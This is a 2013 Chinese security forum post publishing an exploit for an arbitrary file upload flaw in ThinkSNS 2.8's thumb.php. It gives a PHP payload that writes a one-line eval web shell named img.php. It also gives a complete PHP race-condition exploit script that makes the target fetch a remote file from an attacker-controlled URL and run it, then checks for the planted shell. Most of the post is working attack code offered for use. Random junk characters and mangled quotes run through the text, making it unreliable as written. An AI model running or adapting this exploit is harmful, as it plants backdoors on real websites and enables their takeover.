找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2095|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本  {8 k; g) W/ H% u! X  [8 d. s1 j
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)9 l! x, C; ?6 M/ Q" g' R8 g
漏洞文件
' y# Q" n: G6 m' W存在漏洞的文件为:thumb.php7 L  s6 R4 i: p7 ^) B$ }4 B
作者:韦鲲鹏6 C/ w7 D- ~' \5 C" c' A. p; U# M' W& K
1、        准备如下PHP文件并上传到服务器(自己的)。( X$ u6 S: g: E1 o7 V7 O+ J3 T
文件内容如下:. @: J4 J* O! k9 I- X7 s" P
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>0 S" m( r5 g: v' _
2、        计算出临时的文件名:. f/ X4 M5 z% }/ [9 h7 v6 {
这里我们可以看文件的99行(刚刚是不是没注意呀!)。$ H* b7 E. m4 J; \( S- ~

7 `: j4 {# J% `. ?! y+ o3、        上传临时文件。
# P5 q% I; T* X: d. d4、        访问临时文件。6 u  F4 i$ p7 p0 e' ]( N$ f
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)* j# G; @5 p8 d. H  P
Exploit文件内容如下:(这个我就不详细解释了)6 j" m; {! ^; ]. v; G" Z( v, S
<?php) T0 R5 L; P* h) w
error_reporting(0);
: N/ L- J4 s, p+ G+ v! Sset_time_limit(0);
6 k" Y" X+ K" E2 Qini_set(“default_socket_timeout”, 5);
  |9 F2 M& w# Z9 U1 bfunction http_send($host, $port, $headers) {5 k% ]8 @/ l+ s* r' W% c2 g2 J0 B9 {5 R
$fp = fsockopen($host, $port);, z. f) M9 T+ g1 W. T
if (!$fp) die(‘Connection -> fail’);
$ X1 \$ c: f; P& Q* dfputs($fp, $headers);
/ r+ e8 I: Q# c% r/ k+ v( M( Ireturn $fp;: D# U% x# h) p" T, \, q; O
}9 H5 @6 F- ^" a" G
function http_recv($fp) {& f+ ]2 F2 M2 F* G! r
$ret=”";
' u1 O' j$ M0 F$ F5 ^3 L7 Cwhile (!feof($fp))* n* a; v8 \4 j4 c% I. n2 M
$ret.= fgets($fp, 1024);
6 ]5 P/ ^  X9 N' t/ U1 yfclose($fp);) t2 @' `& r& L4 M7 O* Y
return $ret;- p' q  D4 A* {  ?' x
}
) @* }$ o# Y8 O& A. n: Q: _& ^print “\n#  ThinkSns Arbitrary File Upload   #\n”;4 h( q  |9 ]" h6 W3 S' T; ]& M- V
print “# Discovered by 韦鲲鹏 #\n\n”;
0 I/ w; M2 c$ D' Vif ($argc < 4) {
& x2 |$ T, s5 A( r- T9 Xprint “Usage:   php <host> <path> <romote_url>\n”;
( r: C& P+ L: ^print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
5 o+ d" {  p% q) Ydie();
- n, s* S& J( q& Y( O" p}4 L( g0 ~  W) q1 A8 L
$host = $argv[1];
- Q  L# t8 O% D: _/ S$path = $argv[2];
2 c* A# \! t% K$url = $argv[3];
/ G* u, v" O6 C$ a- l4 G$i=0;
4 f( r1 M9 m5 z$ t//上传数据包5 h' e/ k) @8 j# l- ^$ V3 R
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;3 [! ?3 a0 m1 H) v  p9 c
$headers_up .= “Host: “.$host.”\r\n”;* q$ m+ E, U% E5 ?5 I/ U
$headers_up .= “Connection: close\r\n\r\n”;3 ~4 |  U, c! [
echo $headers_up;
# R0 \. V- S2 x+ n, t//临时文件访问数据包0 x9 r5 b4 ^: l" e' P
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
# n+ p/ e1 p# J& O# y$headers .= “Host: “.$host.”\r\n”;
, K# g( b2 a# j8 P$headers .= “Connection: close\r\n\r\n”;
1 A3 D, A: |# u6 Q9 z% |echo $headers;
4 l, X3 Q1 ^+ B% r/ X$ }while(++$i<10) {' Y  t' t' n. U. o9 P
fclose(http_send($host, 80, $headers));
- ~5 U# O# G' }}! N  ~! T& ?% z0 \: B6 `
fclose(http_send($host, 80, $headers_up));7 B5 T, ~. S7 }
while(++$i<50) {) V! a6 {& o) l& f1 @
fclose(http_send($host, 80, $headers));
* E5 R% m" R: R# |* F) m+ V}
. B% ^& u: P/ {5 X$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;- s* D( _; e% d. j) b% [# f  N
$headers .= “Host: “.$host.”\r\n”;
) q  E1 A4 U2 b) ?$headers .= “Connection: close\r\n\r\n”;2 A. u/ o2 g! B2 k9 H: p
$res=http_recv(http_send($host, 80, $headers));
7 M9 l4 {% e+ {6 _0 Hif(preg_match(‘/200 OK/’,$res)) {
/ l! Y6 c- H$ g' Cprint “Success!\n\n”;' G( y  n) v4 u6 b( B4 j8 @  r- T
} else {8 j0 R" H) V; I5 z$ C; D( s
print “Fail!\n\n”;
! |2 \5 i* ^1 [3 d; r& U2 ~' f}. }1 u- u' ?0 b5 V8 m" A7 D
?>: T7 D, |' j' F2 Y5 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表